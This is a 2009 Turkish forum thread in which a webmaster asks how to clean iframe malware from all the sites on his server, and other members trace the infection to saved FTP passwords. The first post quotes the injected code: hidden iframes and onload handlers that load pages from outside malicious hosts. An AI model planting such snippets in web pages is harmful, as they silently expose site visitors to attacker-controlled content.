• 19-09-2009, 08:40:30
    #1
    💎💎💎ADS Arbitraj💎💎💎
    Selamlar.
    Arkadaşlar bugün itibariyle dedicated sunucumda bulunan tüm sitelere aşağıdaki gibi iframe virüsleri bulaşmıştır.
    Komple nasıl temizlik yapabilirim. Dosyaları tek tek kontrol etmeye kalkarsam en az bir ay uğraşırım. 75 gb civarında sitelerin büyüklüğü.
    Virüs içeriği aşağıdaki gibi üç çeşittir.

    <iframe src="http://biozov.ru:8080/index.php" width=145 height=664 ></iframe>
    <html><body onload="<div style="visibility:hidden"><iframe src="http://1699online.net/irri/?3230c8ac92458eb62ed568fa43ed2a08" width=1 height=1></iframe></div>"</body></html>
    <body onload="<div style="visibility:hidden"><iframe src="http://1699online.net/irri/?3230c8ac92458eb62ed568fa43ed2a08" width=1 height=1></iframe></div>"
  • 19-09-2009, 08:48:38
    #2
    Virüs index.php dosyalarında oluyor %99 ihtimale sildikten hemen sonra ftp sifresini değiştirirsenız sorun çözülür.. Filezilla ve cuteftp tarzı programlar kullanmayın.
  • 19-09-2009, 09:03:34
    #3
    💎💎💎ADS Arbitraj💎💎💎
    FlashFXP programını kullanıyorum. Virüs index.php, index.html dosyalarının tamamına bulaşmış. Sunucumdaki tüm sitelerde mevcut. Sunucudaki tüm sitelerin index dosyalarını indirip aratmak yerine ssh üzerinden toplu bir işlem yapma olanağı yokmudur?
  • 19-09-2009, 09:09:58
    #4
    malesef o konuda bir bilgim yok, teker teker yapmanız gerekicek sanırım.
    bir daha ftp programları kullanmayın..
  • 19-09-2009, 09:13:50
    #5
    ftp programında şifreler kayıtlı kaldığı için bir siteye bulaştığından sonra tüm kayıtlı olan sitelere de bulaşıyor. geçtiğimiz aylarda ben de tüm sitelerimden temizlemek zorunda kalmıştım. daha doğrusu günlük yedek aldığımdan yedekleri atarak kolaylıkla temizlemiştim. ancak ftp programı kullanırken bir seferlik giriş yapıp ardından şifrenizi silin. herhangi bir sorun oluşmaz sonra. birde sitelerinizden virüsü temizledikten sonra tüm ftp şifrelerinizi değiştirmeyi unutmayın, yoksa yeniden girecektir.
  • 19-09-2009, 09:22:47
    #6
    💎💎💎ADS Arbitraj💎💎💎
    Yani diyorsunuz ki tüm siteleri tek tek indirip temizlemem gerekecek. Doogle ftp programı kullanmadan nasıl işlem yapacağım.
  • 19-09-2009, 09:25:11
    #7
    basoglanh adlı üyeden alıntı: mesajı görüntüle
    Yani diyorsunuz ki tüm siteleri tek tek indirip temizlemem gerekecek. Doogle ftp programı kullanmadan nasıl işlem yapacağım.
    site de sanırsam farklı temizleme yolları da mevcut, bir arayın derim.
    ayrıca ftp programı kullanmadan işlem yapmak için kullandığınız panel(cpanel,plesk vs) editörleri oluyorlar. onlarla düzenleme yaparakta değişikliği kayıt edebilirsiniz. ama dediğim gibi ftp programı kullanıp ardından hemen şifreyi silerseniz bir problem olmaz, ben artık öyle kullanıyorum.
  • 19-09-2009, 10:13:58
    #8
    💎💎💎ADS Arbitraj💎💎💎
    KuDReTeaM adlı üyeden alıntı: mesajı görüntüle
    site de sanırsam farklı temizleme yolları da mevcut, bir arayın derim.
    ayrıca ftp programı kullanmadan işlem yapmak için kullandığınız panel(cpanel,plesk vs) editörleri oluyorlar. onlarla düzenleme yaparakta değişikliği kayıt edebilirsiniz. ama dediğim gibi ftp programı kullanıp ardından hemen şifreyi silerseniz bir problem olmaz, ben artık öyle kullanıyorum.
    Farklı temizleme yolları olarak tüm dosyaları indirip, toplu bul değiştir programı yardımı ile kodları bulup temizlemek var. Fakat ssh erişimim mevcut, olağan birşey ise sshden tüm siteler için komple işlem yapmak mümkünmü bunu merak ediyordum, diğer bahsettiğiniz el ile olan yöntem benim için çok uzun zaman alacak, zaten siteler 75 gb civarlarında ve ayrıca iç içe olan index.html ve index.php dosyaları oldukça fazla.
  • 19-09-2009, 10:20:34
    #9
    ssh konusunda pek bilgim yok ancak pico ssh üzerinden text editor ile dosya içeriğini görme ve düzenlemeye yarıyor. bu muhtemelen tek dosya için. bu kodun çoklu olanını bilen arkadaş varsa işinizi çok kolaylaştıracaktır.